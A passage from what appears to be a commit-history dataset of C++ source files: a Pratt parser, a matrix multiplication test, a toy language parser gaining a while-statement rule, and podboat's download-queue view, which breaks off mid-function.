Parser::Load(const std::string &filename) {\n if (!exists(filename))\n SotaException(filename + \" doesn't exist or is unreadable\");\n std::ifstream file(filename);\n std::string text((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());\n return text;\n }\n\n Token Parser::Take(Token token) {\n if (token)\n _tokens.push_back(token);\n return token;\n }\n\n Token Parser::Emit() {\n Token token = Token();\n if (_tokens.size()) {\n token = _tokens.front();\n _tokens.pop_front();\n }\n return token;\n }\n\n Token Parser::Scan() {\n\n if (index < source.length()) {\n size_t end = index;\n Symbol *match = nullptr;\n for (auto kvp : symbols) {\n auto symbol = kvp.second;\n size_t pos = symbol->scan(symbol, source.substr(index, source.length() - index), index);\n if (pos > end || (match != nullptr && symbol->lbp > match->lbp && pos == end)) {\n match = symbol;\n end = pos;\n }\n }\n if (index == end)\n throw SotaException(\"Parser::Scan: invalid symbol\");\n return Token(*match, source, index, end - index);\n }\n return Token();\n }\n\n \/*public*\/\n\n Parser::Parser(const Types2Symbols &symbols)\n : symbols(symbols)\n , source(\"\")\n , index(0) {}\n\n Ast * Parser::ParseFile(const std::string &filename) {\n auto source = Load(filename);\n return Parse(source);\n }\n\n Ast * Parser::Parse(std::string source) {\n this->source = source;\n return Parse();\n }\n\n Ast * Parser::Parse(size_t lbp\/* = 0 *\/) {\n\n Token curr = Consume();\n std::cout << \"curr: \" << curr << std::endl;\n\n Ast *left = curr.Nud(this, &curr);\n\n Token next = LookAhead(1);\n std::cout << \"next: \" << next << std::endl;\n std::cout << \"lbp: \" << lbp << \" next.symbol.lbp: \" << next.symbol.lbp << std::endl;\n\n while (lbp < next.symbol.lbp) {\n std::cout << \"lbp test passed\" << std::endl;\n Token next = Consume();\n left = next.Led(this, left, &next);\n }\n\n return left;\n }\n\n Token Parser::LookAhead(size_t distance) {\n if (distance == 0) {\n return Scan();\n }\n\n Token token;\n while(distance > _tokens.size()) {\n token = Take(Scan());\n }\n\n return token;\n }\n\n Token Parser::Consume() {\n auto la = LookAhead(1);\n index += la.length;\n return Emit();\n }\n\n Token Parser::Consume(const size_t &expected, const std::string &message) {\n auto token = Consume();\n if (token.symbol.type != expected)\n throw SotaException(message);\n return token;\n }\n\n size_t Parser::Line() {\n return 0;\n }\n\n size_t Parser::Column() {\n return 0;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include <stdio.h>\n#include \"ys_matrixTool.h\"\n#include \"ys_matrix.h\"\n\nusing namespace ys;\n\nint main(void) {\n DMatrix<int> matrix1;\n matrix1[0][0] = 7;\n matrix1[0][1] = 6;\n matrix1[0][2] = 2;\n matrix1[1][0] = 3;\n matrix1[1][1] = 2;\n matrix1[1][2] = 5;\n\n for (int i = 0; i < matrix1.getDimX(); ++i) {\n for (int j = 0; j < matrix1.getDimY(); ++j) {\n printf (\"%d \", matrix1[i][j]);\n }\n printf (\"\\n\");\n }\n printf (\"----------------------------\\n\");\n\n DMatrix<int> matrix2;\n matrix1[0][0] = 8;\n matrix1[0][1] = 9;\n matrix1[1][0] = 1;\n matrix1[1][1] = 6;\n matrix1[2][0] = 3;\n matrix1[2][1] = 8;\n\n for (int i = 0; i < matrix2.getDimX(); ++i) {\n for (int j = 0; j < matrix2.getDimY(); ++j) {\n printf (\"%d \", matrix2[i][j]);\n }\n printf (\"\\n\");\n }\n printf (\"----------------------------\\n\");\n\n DMatrix<int>* matrix3 = Matrixs<int>::mul(matrix1, matrix2);\n\n for (int i = 0; i < matrix3->getDimX(); ++i) {\n for (int j = 0; j < matrix3->getDimY(); ++j) {\n printf (\"%d \", matrix3[i][j]);\n }\n printf (\"\\n\");\n }\n\n delete matrix3;\n return 0;\n}\n<commit_msg>modify<commit_after>#include <stdio.h>\n#include \"ys_matrixTool.h\"\n#include \"ys_matrix.h\"\n\nusing namespace ys;\n\nint main(void) {\n DMatrix<int> matrix1(2, 3);\n printf (\"1\\n\");\n matrix1[0][0] = 7;\n printf (\"1\\n\");\n matrix1[0][1] = 6;\n matrix1[0][2] = 2;\n matrix1[1][0] = 3;\n matrix1[1][1] = 2;\n matrix1[1][2] = 5;\n\n for (int i = 0; i < matrix1.getDimX(); ++i) {\n for (int j = 0; j < matrix1.getDimY(); ++j) {\n printf (\"%d \", matrix1[i][j]);\n }\n printf (\"\\n\");\n }\n printf (\"----------------------------\\n\");\n\n DMatrix<int> matrix2(3, 4);\n matrix1[0][0] = 8;\n matrix1[0][1] = 9;\n matrix1[1][0] = 1;\n matrix1[1][1] = 6;\n matrix1[2][0] = 3;\n matrix1[2][1] = 8;\n\n for (int i = 0; i < matrix2.getDimX(); ++i) {\n for (int j = 0; j < matrix2.getDimY(); ++j) {\n printf (\"%d \", matrix2[i][j]);\n }\n printf (\"\\n\");\n }\n printf (\"----------------------------\\n\");\n\n DMatrix<int>* matrix3 = Matrixs<int>::mul(matrix1, matrix2);\n\n for (int i = 0; i < matrix3->getDimX(); ++i) {\n for (int j = 0; j < matrix3->getDimY(); ++j) {\n printf (\"%d \", matrix3[i][j]);\n }\n printf (\"\\n\");\n }\n\n delete matrix3;\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"parser.hpp\"\n\n#include \"ast_data.hpp\"\n\nnamespace klang {\n\nParser::Parser(TokenVector tokens)\n : tokens_(std::move(tokens)),\n current_(std::begin(tokens_))\n{}\n\nbool Parser::parse_symbol(const char* str) {\n if (current_type() == TokenType::SYMBOL &&\n current_string() == std::string{str}) {\n advance(1);\n return true;\n } else {\n return false;\n }\n}\n\nast::IdentifierPtr Parser::parse_identifier() {\n if (current_type() == TokenType::IDENTIFIER) {\n advance(1);\n return make_unique<ast::IdentifierData>(current_string());\n } else {\n return nullptr;\n }\n}\n\nast::TypePtr Parser::parse_type() {\n if (current_type() == TokenType::SYMBOL) {\n advance(1);\n return make_unique<ast::TypeData>(current_string());\n } else {\n return nullptr;\n }\n}\n\nast::IntegerLiteralPtr Parser::parse_integer_literal() {\n if (current_type() == TokenType::NUMBER) {\n advance(1);\n return make_unique<ast::IntegerLiteralData>(current_string());\n } else {\n return nullptr;\n }\n}\n\nast::CharacterLiteralPtr Parser::parse_character_literal() {\n if (current_type() == TokenType::CHARACTER) {\n advance(1);\n return make_unique<ast::CharacterLiteralData>(current_string());\n } else {\n return nullptr;\n }\n}\n\nast::StringLiteralPtr Parser::parse_string_literal() {\n if (current_type() == TokenType::STRING) {\n advance(1);\n return make_unique<ast::StringLiteralData>(current_string());\n } else {\n return nullptr;\n }\n}\n\nast::TranslationUnitPtr Parser::parse_translation_unit() {\n std::vector<ast::FunctionDefinitionPtr> functions;\n while (auto function = parse_function_definition()) {\n functions.push_back(std::move(function));\n }\n return make_unique<ast::TranslationUnitData>(std::move(functions));\n}\n\nast::FunctionDefinitionPtr Parser::parse_function_definition() {\n const auto s = snapshot();\n if (parse_symbol(\"def\")) {\n if (auto function_name = parse_identifier()) {\n if (parse_symbol(\"(\")) {\n if (auto arguments = parse_argument_list()) {\n if (parse_symbol(\")\") && parse_symbol(\"->\") && parse_symbol(\"(\")) {\n if (auto return_type = parse_type()) {\n if (parse_symbol(\")\")) {\n if (auto function_body = parse_compound_statement()) {\n return make_unique<ast::FunctionDefinitionData>(\n std::move(function_name),\n std::move(arguments),\n std::move(return_type),\n std::move(function_body));\n }\n }\n }\n }\n }\n }\n }\n }\n rewind(s);\n return nullptr;\n}\n\nast::ArgumentListPtr Parser::parse_argument_list() {\n std::vector<ast::ArgumentPtr> arguments;\n if (auto first_argument = parse_argument()) {\n arguments.push_back(std::move(first_argument));\n while (true) {\n const auto s = snapshot();\n if (parse_symbol(\",\")) {\n if (auto argument = parse_argument()) {\n arguments.push_back(std::move(argument));\n continue;\n }\n }\n rewind(s);\n break;\n }\n }\n return make_unique<ast::ArgumentListData>(std::move(arguments));\n}\n\nast::ArgumentPtr Parser::parse_argument() {\n const auto s = snapshot();\n if (auto argument_type = parse_type()) {\n if (auto argument_name = parse_identifier()) {\n return make_unique<ast::ArgumentData>(std::move(argument_type),\n std::move(argument_name));\n }\n }\n rewind(s);\n return nullptr;\n}\n\nast::StatementPtr Parser::parse_statement() {\n if (auto statement = parse_compound_statement()) {\n return std::move(statement);\n } else if (auto statement = parse_if_statement()){\n return std::move(statement);\n } else if (auto statement = parse_while_statement()){\n return std::move(statement);\n } else if (auto statement = parse_for_statement()){\n return std::move(statement);\n } else if (auto statement = parse_return_statement()){\n return std::move(statement);\n } else if (auto statement = parse_break_statement()){\n return std::move(statement);\n } else if (auto statement = parse_continue_statement()){\n return std::move(statement);\n } else if (auto statement = parse_variable_definition_statement()){\n return std::move(statement);\n } else if (auto statement = parse_expression_statement()){\n return std::move(statement);\n }\n return nullptr;\n}\n\nast::CompoundStatementPtr Parser::parse_compound_statement() {\n std::vector<ast::StatementPtr> statements;\n const auto s = snapshot();\n if (parse_symbol(\"{\")) {\n while (auto statement = parse_statement()) {\n statements.push_back(std::move(statement));\n }\n if (parse_symbol(\"}\")) {\n return make_unique<ast::CompoundStatementData>(std::move(statements));\n }\n }\n rewind(s);\n return nullptr;\n}\n\nast::IfStatementPtr Parser::parse_if_statement() {\n const auto s = snapshot();\n if (parse_symbol(\"if\") && parse_symbol(\"(\")) {\n if (auto condition = parse_expression()) {\n if (parse_symbol(\")\")) {\n if (auto compound_statement = parse_compound_statement()) {\n return make_unique<ast::IfStatementData>(\n std::move(condition),\n std::move(compound_statement),\n parse_else_statement());\n }\n }\n }\n }\n rewind(s);\n return nullptr;\n}\n\nast::IfStatementPtr Parser::parse_else_statement() {\n const auto s = snapshot();\n if (parse_symbol(\"else\")) {\n if (auto else_if_statement = parse_if_statement()) {\n return std::move(else_if_statement);\n } else if (auto compound_statement = parse_compound_statement()) {\n return make_unique<ast::ElseStatementData>(std::move(compound_statement));\n }\n }\n rewind(s);\n return nullptr;\n}\n\nTokenType Parser::current_type() const {\n return is_eof() ? TokenType::IGNORE : current_->type();\n}\n\nstd::string Parser::current_string() const {\n static const std::string empty_string{\"\"};\n return is_eof() ? empty_string : current_->str();\n}\n\nbool Parser::is_eof() const {\n using std::end;\n return current_ == end(tokens_);\n}\n\nbool Parser::advance(int count) {\n using std::begin;\n using std::end;\n const auto b = begin(tokens_);\n const auto e = end(tokens_);\n while (count < 0) {\n if (current_ != b) {\n ++count;\n --current_;\n } else {\n return false;\n }\n }\n while (0 < count) {\n if (current_ != e) {\n --count;\n ++current_;\n } else {\n return false;\n }\n }\n return true;\n}\n\nauto Parser::snapshot() const -> Pointer {\n return current_;\n}\n\nvoid Parser::rewind(Pointer p) {\n current_ = p;\n}\n\n} \/\/ namespace klang\n<commit_msg>Add parse_while_statement() member<commit_after>#include \"parser.hpp\"\n\n#include \"ast_data.hpp\"\n\nnamespace klang {\n\nParser::Parser(TokenVector tokens)\n : tokens_(std::move(tokens)),\n current_(std::begin(tokens_))\n{}\n\nbool Parser::parse_symbol(const char* str) {\n if (current_type() == TokenType::SYMBOL &&\n current_string() == std::string{str}) {\n advance(1);\n return true;\n } else {\n return false;\n }\n}\n\nast::IdentifierPtr Parser::parse_identifier() {\n if (current_type() == TokenType::IDENTIFIER) {\n advance(1);\n return make_unique<ast::IdentifierData>(current_string());\n } else {\n return nullptr;\n }\n}\n\nast::TypePtr Parser::parse_type() {\n if (current_type() == TokenType::SYMBOL) {\n advance(1);\n return make_unique<ast::TypeData>(current_string());\n } else {\n return nullptr;\n }\n}\n\nast::IntegerLiteralPtr Parser::parse_integer_literal() {\n if (current_type() == TokenType::NUMBER) {\n advance(1);\n return make_unique<ast::IntegerLiteralData>(current_string());\n } else {\n return nullptr;\n }\n}\n\nast::CharacterLiteralPtr Parser::parse_character_literal() {\n if (current_type() == TokenType::CHARACTER) {\n advance(1);\n return make_unique<ast::CharacterLiteralData>(current_string());\n } else {\n return nullptr;\n }\n}\n\nast::StringLiteralPtr Parser::parse_string_literal() {\n if (current_type() == TokenType::STRING) {\n advance(1);\n return make_unique<ast::StringLiteralData>(current_string());\n } else {\n return nullptr;\n }\n}\n\nast::TranslationUnitPtr Parser::parse_translation_unit() {\n std::vector<ast::FunctionDefinitionPtr> functions;\n while (auto function = parse_function_definition()) {\n functions.push_back(std::move(function));\n }\n return make_unique<ast::TranslationUnitData>(std::move(functions));\n}\n\nast::FunctionDefinitionPtr Parser::parse_function_definition() {\n const auto s = snapshot();\n if (parse_symbol(\"def\")) {\n if (auto function_name = parse_identifier()) {\n if (parse_symbol(\"(\")) {\n if (auto arguments = parse_argument_list()) {\n if (parse_symbol(\")\") && parse_symbol(\"->\") && parse_symbol(\"(\")) {\n if (auto return_type = parse_type()) {\n if (parse_symbol(\")\")) {\n if (auto function_body = parse_compound_statement()) {\n return make_unique<ast::FunctionDefinitionData>(\n std::move(function_name),\n std::move(arguments),\n std::move(return_type),\n std::move(function_body));\n }\n }\n }\n }\n }\n }\n }\n }\n rewind(s);\n return nullptr;\n}\n\nast::ArgumentListPtr Parser::parse_argument_list() {\n std::vector<ast::ArgumentPtr> arguments;\n if (auto first_argument = parse_argument()) {\n arguments.push_back(std::move(first_argument));\n while (true) {\n const auto s = snapshot();\n if (parse_symbol(\",\")) {\n if (auto argument = parse_argument()) {\n arguments.push_back(std::move(argument));\n continue;\n }\n }\n rewind(s);\n break;\n }\n }\n return make_unique<ast::ArgumentListData>(std::move(arguments));\n}\n\nast::ArgumentPtr Parser::parse_argument() {\n const auto s = snapshot();\n if (auto argument_type = parse_type()) {\n if (auto argument_name = parse_identifier()) {\n return make_unique<ast::ArgumentData>(std::move(argument_type),\n std::move(argument_name));\n }\n }\n rewind(s);\n return nullptr;\n}\n\nast::StatementPtr Parser::parse_statement() {\n if (auto statement = parse_compound_statement()) {\n return std::move(statement);\n } else if (auto statement = parse_if_statement()){\n return std::move(statement);\n } else if (auto statement = parse_while_statement()){\n return std::move(statement);\n } else if (auto statement = parse_for_statement()){\n return std::move(statement);\n } else if (auto statement = parse_return_statement()){\n return std::move(statement);\n } else if (auto statement = parse_break_statement()){\n return std::move(statement);\n } else if (auto statement = parse_continue_statement()){\n return std::move(statement);\n } else if (auto statement = parse_variable_definition_statement()){\n return std::move(statement);\n } else if (auto statement = parse_expression_statement()){\n return std::move(statement);\n }\n return nullptr;\n}\n\nast::CompoundStatementPtr Parser::parse_compound_statement() {\n std::vector<ast::StatementPtr> statements;\n const auto s = snapshot();\n if (parse_symbol(\"{\")) {\n while (auto statement = parse_statement()) {\n statements.push_back(std::move(statement));\n }\n if (parse_symbol(\"}\")) {\n return make_unique<ast::CompoundStatementData>(std::move(statements));\n }\n }\n rewind(s);\n return nullptr;\n}\n\nast::IfStatementPtr Parser::parse_if_statement() {\n const auto s = snapshot();\n if (parse_symbol(\"if\") && parse_symbol(\"(\")) {\n if (auto condition = parse_expression()) {\n if (parse_symbol(\")\")) {\n if (auto compound_statement = parse_compound_statement()) {\n return make_unique<ast::IfStatementData>(\n std::move(condition),\n std::move(compound_statement),\n parse_else_statement());\n }\n }\n }\n }\n rewind(s);\n return nullptr;\n}\n\nast::IfStatementPtr Parser::parse_else_statement() {\n const auto s = snapshot();\n if (parse_symbol(\"else\")) {\n if (auto else_if_statement = parse_if_statement()) {\n return std::move(else_if_statement);\n } else if (auto compound_statement = parse_compound_statement()) {\n return make_unique<ast::ElseStatementData>(std::move(compound_statement));\n }\n }\n rewind(s);\n return nullptr;\n}\n\nast::WhileStatementPtr Parser::parse_while_statement() {\n const auto s = snapshot();\n if (parse_symbol(\"while\") && parse_symbol(\"(\")) {\n if (auto condition = parse_expression()) {\n if (parse_symbol(\")\")) {\n if (auto compound_statement = parse_compound_statement()) {\n return make_unique<ast::WhileStatementData>(\n std::move(condition),\n std::move(compound_statement));\n }\n }\n }\n }\n rewind(s);\n return nullptr;\n}\n\nTokenType Parser::current_type() const {\n return is_eof() ? TokenType::IGNORE : current_->type();\n}\n\nstd::string Parser::current_string() const {\n static const std::string empty_string{\"\"};\n return is_eof() ? empty_string : current_->str();\n}\n\nbool Parser::is_eof() const {\n using std::end;\n return current_ == end(tokens_);\n}\n\nbool Parser::advance(int count) {\n using std::begin;\n using std::end;\n const auto b = begin(tokens_);\n const auto e = end(tokens_);\n while (count < 0) {\n if (current_ != b) {\n ++count;\n --current_;\n } else {\n return false;\n }\n }\n while (0 < count) {\n if (current_ != e) {\n --count;\n ++current_;\n } else {\n return false;\n }\n }\n return true;\n}\n\nauto Parser::snapshot() const -> Pointer {\n return current_;\n}\n\nvoid Parser::rewind(Pointer p) {\n current_ = p;\n}\n\n} \/\/ namespace klang\n<|endoftext|>"} {"text":"<commit_before>#include \"pbview.h\"\n\n#include <cinttypes>\n#include <cstdio>\n#include <cstring>\n#include <curses.h>\n#include <iostream>\n#include <sstream>\n\n#include \"config.h\"\n#include \"configcontainer.h\"\n#include \"dllist.h\"\n#include \"download.h\"\n#include \"fmtstrformatter.h\"\n#include \"help.h\"\n#include \"logger.h\"\n#include \"pbcontroller.h\"\n#include \"poddlthread.h\"\n#include \"strprintf.h\"\n#include \"utils.h\"\n\nusing namespace newsboat;\n\nnamespace podboat {\n\nPbView::PbView(PbController* c)\n\t: ctrl(c)\n\t, dllist_form(dllist_str)\n\t, help_form(help_str)\n\t, keys(0)\n{\n\tif (getenv(\"ESCDELAY\") == nullptr) {\n\t\tset_escdelay(25);\n\t}\n}\n\nPbView::~PbView()\n{\n\tStfl::reset();\n}\n\nvoid PbView::run(bool auto_download)\n{\n\tbool quit = false;\n\n\tset_dllist_keymap_hint();\n\n\tdo {\n\t\tif (ctrl->view_update_necessary()) {\n\t\t\tconst double total_kbps = ctrl->get_total_kbps();\n\t\t\tconst auto speed = get_speed_human_readable(total_kbps);\n\n\t\t\tchar parbuf[128] = \"\";\n\t\t\tif (ctrl->get_maxdownloads() > 1) {\n\t\t\t\tsnprintf(parbuf,\n\t\t\t\t\tsizeof(parbuf),\n\t\t\t\t\t_(\" - %u parallel downloads\"),\n\t\t\t\t\tctrl->get_maxdownloads());\n\t\t\t}\n\n\t\t\tchar buf[1024];\n\t\t\tsnprintf(buf,\n\t\t\t\tsizeof(buf),\n\t\t\t\t_(\"Queue (%u downloads in progress, %u total) \"\n\t\t\t\t\t\"- %.2f %s total%s\"),\n\t\t\t\tstatic_cast<unsigned int>(\n\t\t\t\t\tctrl->downloads_in_progress()),\n\t\t\t\tstatic_cast<unsigned int>(\n\t\t\t\t\tctrl->downloads().size()),\n\t\t\t\tspeed.first,\n\t\t\t\tspeed.second.c_str(),\n\t\t\t\tparbuf);\n\n\t\t\tdllist_form.set(\"head\", buf);\n\n\t\t\tLOG(Level::DEBUG,\n\t\t\t\t\"PbView::run: updating view... \"\n\t\t\t\t\"downloads().size() \"\n\t\t\t\t\"= %\" PRIu64,\n\t\t\t\tstatic_cast<uint64_t>(ctrl->downloads().size()));\n\n\t\t\tstd::string code = \"{list\";\n\t\t\tstd::string formatstring = ctrl->get_formatstr();\n\n\t\t\tdllist_form.run(-3); \/\/ compute all widget dimensions\n\t\t\tunsigned int width = utils::to_u(dllist_form.get(\"dls:w\"));\n\n\t\t\tunsigned int i = 0;\n\t\t\tfor (const auto& dl : ctrl->downloads()) {\n\t\t\t\tauto lbuf = format_line(formatstring, dl, i, width);\n\t\t\t\tcode.append(\n\t\t\t\t\tstrprintf::fmt(\"{listitem[%u] text:%s}\",\n\t\t\t\t\t\ti,\n\t\t\t\t\t\tStfl::quote(lbuf)));\n\t\t\t\ti++;\n\t\t\t}\n\n\t\t\tcode.append(\"}\");\n\n\t\t\tdllist_form.modify(\"dls\", \"replace_inner\", code);\n\n\t\t\tctrl->set_view_update_necessary(false);\n\t\t}\n\n\t\tconst char* event = dllist_form.run(500);\n\n\t\tif (auto_download) {\n\t\t\tif (ctrl->get_maxdownloads() >\n\t\t\t\tctrl->downloads_in_progress()) {\n\t\t\t\tctrl->start_downloads();\n\t\t\t}\n\t\t}\n\n\t\tif (!event || strcmp(event, \"TIMEOUT\") == 0) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tOperation op = keys->get_operation(event, \"podbeuter\");\n\n\t\tif (dllist_form.get(\"msg\").length() > 0) {\n\t\t\tdllist_form.set(\"msg\", \"\");\n\t\t\tctrl->set_view_update_necessary(true);\n\t\t}\n\n\t\tswitch (op) {\n\t\tcase OP_PB_TOGGLE_DLALL:\n\t\t\tauto_download = !auto_download;\n\t\t\tbreak;\n\t\tcase OP_HARDQUIT:\n\t\tcase OP_QUIT:\n\t\t\tif (ctrl->downloads_in_progress() > 0) {\n\t\t\t\tdllist_form.set(\"msg\",\n\t\t\t\t\t_(\"Error: can't quit: download(s) in \"\n\t\t\t\t\t\t\"progress.\"));\n\t\t\t\tctrl->set_view_update_necessary(true);\n\t\t\t} else {\n\t\t\t\tquit = true;\n\t\t\t}\n\t\t\tbreak;\n\t\tcase OP_PB_MOREDL:\n\t\t\tctrl->increase_parallel_downloads();\n\t\t\tbreak;\n\t\tcase OP_PB_LESSDL:\n\t\t\tctrl->decrease_parallel_downloads();\n\t\t\tbreak;\n\t\tcase OP_PB_DOWNLOAD: {\n\t\t\tstd::istringstream os(dllist_form.get(\"dlposname\"));\n\t\t\tint idx = -1;\n\t\t\tos >> idx;\n\t\t\tif (idx != -1) {\n\t\t\t\tif (ctrl->downloads()[idx].status() !=\n\t\t\t\t\tDlStatus::DOWNLOADING) {\n\t\t\t\t\tstd::thread t{PodDlThread(\n\t\t\t\t\t\t\t&ctrl->downloads()[idx],\n\t\t\t\t\t\t\tctrl->get_cfgcont())};\n\t\t\t\t\tt.detach();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tbreak;\n\t\tcase OP_PB_PLAY: {\n\t\t\tstd::istringstream os(dllist_form.get(\"dlposname\"));\n\t\t\tint idx = -1;\n\t\t\tos >> idx;\n\t\t\tif (idx != -1) {\n\t\t\t\tDlStatus status =\n\t\t\t\t\tctrl->downloads()[idx].status();\n\t\t\t\tif (status == DlStatus::FINISHED ||\n\t\t\t\t\tstatus == DlStatus::PLAYED ||\n\t\t\t\t\tstatus == DlStatus::READY) {\n\t\t\t\t\tctrl->play_file(ctrl->downloads()[idx]\n\t\t\t\t\t\t.filename());\n\t\t\t\t\tctrl->downloads()[idx].set_status(\n\t\t\t\t\t\tDlStatus::PLAYED);\n\t\t\t\t} else {\n\t\t\t\t\tdllist_form.set(\"msg\",\n\t\t\t\t\t\t_(\"Error: download needs to be \"\n\t\t\t\t\t\t\t\"finished before the file \"\n\t\t\t\t\t\t\t\"can be played.\"));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tbreak;\n\t\tcase OP_PB_MARK_FINISHED: {\n\t\t\tstd::istringstream os(dllist_form.get(\"dlposname\"));\n\t\t\tint idx = -1;\n\t\t\tos >> idx;\n\t\t\tif (idx != -1) {\n\t\t\t\tDlStatus status =\n\t\t\t\t\tctrl->downloads()[idx].status();\n\t\t\t\tif (status == DlStatus::PLAYED) {\n\t\t\t\t\tctrl->downloads()[idx].set_status(\n\t\t\t\t\t\tDlStatus::FINISHED);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tbreak;\n\t\tcase OP_PB_CANCEL: {\n\t\t\tstd::istringstream os(dllist_form.get(\"dlposname\"));\n\t\t\tint idx = -1;\n\t\t\tos >> idx;\n\t\t\tif (idx != -1) {\n\t\t\t\tif (ctrl->downloads()[idx].status() ==\n\t\t\t\t\tDlStatus::DOWNLOADING) {\n\t\t\t\t\tctrl->downloads()[idx].set_status(\n\t\t\t\t\t\tDlStatus::CANCELLED);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tbreak;\n\t\tcase OP_PB_DELETE: {\n\t\t\tstd::istringstream os(dllist_form.get(\"dlposname\"));\n\t\t\tint idx = -1;\n\t\t\tos >> idx;\n\t\t\tif (idx != -1) {\n\t\t\t\tif (ctrl->downloads()[idx].status() !=\n\t\t\t\t\tDlStatus::DOWNLOADING) {\n\t\t\t\t\tctrl->downloads()[idx].set_status(\n\t\t\t\t\t\tDlStatus::DELETED);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tbreak;\n\t\tcase OP_PB_PURGE:\n\t\t\tif (ctrl->downloads_in_progress() > 0) {\n\t\t\t\tdllist_form.set(\"msg\",\n\t\t\t\t\t_(\"Error: unable to perform operation: \"\n\t\t\t\t\t\t\"download(s) in progress.\"));\n\t\t\t} else {\n\t\t\t\tctrl->purge_queue();\n\t\t\t}\n\t\t\tctrl->set_view_update_necessary(true);\n\t\t\tbreak;\n\t\tcase OP_HELP:\n\t\t\trun_help();\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\n\t} while (!quit);\n}\n\nvoid PbView::set_bindings()\n{\n\tif (keys) {\n\t\tstd::string upkey(\"** \");\n\t\tupkey.append(keys->getkey(OP_SK_UP, \"podbeuter\"));\n\t\tstd::string downkey(\"** \");\n\t\tdownkey.append(keys->getkey(OP_SK_DOWN, \"podbeuter\"));\n\t\tstd::string pgupkey(\"** \");\n\t\tpgupkey.append(keys->getkey(OP_SK_PGUP, \"podbeuter\"));\n\t\tstd::string pgdownkey(\"** \");\n\t\tpgdownkey.append(keys->getkey(OP_SK_PGDOWN, \"podbeuter\"));\n\t\tstd::string homekey(\"** \");\n\t\thomekey.append(keys->getkey(OP_SK_HOME, \"podbeuter\"));\n\t\tstd::string endkey(\"** \");\n\t\tendkey.append(keys->getkey(OP_SK_END, \"podbeuter\"));\n\n\t\tdllist_form.set(\"bind_up\", upkey);\n\t\tdllist_form.set(\"bind_down\", downkey);\n\t\tdllist_form.set(\"bind_page_up\", pgupkey);\n\t\tdllist_form.set(\"bind_page_down\", pgdownkey);\n\t\tdllist_form.set(\"bind_home\", homekey);\n\t\tdllist_form.set(\"bind_end\", endkey);\n\n\t\thelp_form.set(\"bind_up\", upkey);\n\t\thelp_form.set(\"bind_down\", downkey);\n\t\thelp_form.set(\"bind_page_up\", pgupkey);\n\t\thelp_form.set(\"bind_page_down\", pgdownkey);\n\t\thelp_form.set(\"bind_home\", homekey);\n\t\thelp_form.set(\"bind_end\", endkey);\n\t}\n}\n\nstd::pair<double, std::string> PbView::get_speed_human_readable(double kbps)\n{\n\tif (kbps < 1024) {\n\t\treturn std::make_pair(kbps, _(\"KB\/s\"));\n\t} else if (kbps < 1024 * 1024) {\n\t\treturn std::make_pair(kbps \/ 1024, _(\"MB\/s\"));\n\t} else {\n\t\treturn std::make_pair(kbps \/ 1024 \/ 1024, _(\"GB\/s\"));\n\t}\n}\n\nvoid PbView::run_help()\n{\n\tset_help_keymap_hint();\n\n\thelp_form.set(\"head\", _(\"Help\"));\n\n\tstd::vector<KeyMapDesc> descs;\n\tkeys->get_keymap_descriptions(descs, KM_PODBOAT);\n\n\tstd::string code = \"{list\";\n\n\tfor (const auto& desc : descs) {\n\t\tstd::string line = \"{listitem text:\";\n\n\t\tstd::string descline;\n\t\tdescline.append(desc.key);\n\t\tdescline.append(8 - desc.key.length(), ' ');\n\t\tdescline.append(desc.cmd);\n\t\tdescline.append(24 - desc.cmd.length(), ' ');\n\t\tdescline.append(desc.desc);\n\t\tline.append(Stfl::quote(descline));\n\n\t\tline.append(\"}\");\n\n\t\tcode.append(line);\n\t}\n\n\tcode.append(\"}\");\n\n\thelp_form.modify(\"helptext\", \"replace_inner\", code);\n\n\tbool quit = false;\n\n\tdo {\n\t\tconst char* event = help_form.run(0);\n\t\tif (!event) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tOperation op = keys->get_operation(event, \"help\");\n\n\t\tswitch (op) {\n\t\tcase OP_HARDQUIT:\n\t\tcase OP_QUIT:\n\t\t\tquit = true;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\t} while (!quit);\n}\n\nstd::string PbView::prepare_keymaphint(KeyMapHintEntry* hints)\n{\n\tstd::string keymap_hint;\n\tfor (int i = 0; hints[i].op != OP_NIL; ++i) {\n\t\tkeymap_hint.append(keys->getkey(hints[i].op, \"podbeuter\"));\n\t\tkeymap_hint.append(\":\");\n\t\tkeymap_hint.append(hints[i].text);\n\t\tkeymap_hint.append(\" \");\n\t}\n\treturn keymap_hint;\n}\n\nvoid PbView::set_help_keymap_hint()\n{\n\tKeyMapHintEntry hints[] = {{OP_QUIT, _(\"Quit\")}, {OP_NIL, nullptr}};\n\tstd::string keymap_hint = prepare_keymaphint(hints);\n\thelp_form.set(\"help\", keymap_hint);\n}\n\nvoid PbView::set_dllist_keymap_hint()\n{\n\tKeyMapHintEntry hints[] = {{OP_QUIT, _(\"Quit\")},\n\t\t{OP_PB_DOWNLOAD, _(\"Download\")},\n\t\t{OP_PB_CANCEL, _(\"Cancel\")},\n\t\t{OP_PB_DELETE, _(\"Delete\")},\n\t\t{OP_PB_PURGE, _(\"Purge Finished\")},\n\t\t{OP_PB_TOGGLE_DLALL, _(\"Toggle Automatic Download\")},\n\t\t{OP_PB_PLAY, _(\"Play\")},\n\t\t{OP_PB_MARK_FINISHED, _(\"Mark as Finished\")},\n\t\t{OP_HELP, _(\"Help\")},\n\t\t{OP_NIL, nullptr}\n\t};\n\n\tstd::string keymap_hint = prepare_keymaphint(hints);\n\tdllist_form.set(\"help\", keymap_hint);\n}\n\nstd::string PbView::format_line(const std::string& podlist_format,\n\tconst Download& dl,\n\tunsigned int pos,\n\tunsigned int width)\n{\n\tFmtStrFormatter fmt;\n\n\tconst double speed_kbps = dl.kbps();\n\tconst auto speed = get_speed_human_readable(speed_kbps);\n\n\tfmt.register_fmt('i', strprintf::fmt(\"%u\", pos + 1));\n\tfmt.register_fmt('d',\n\t\tstrprintf::fmt(\"%.1f\", dl.current_size() \/ (1024 * 1024)));\n\tfmt.register_fmt(\n\t\t't', strprintf::fmt(\"%.1f\", dl.total_size() \/ (1024 * 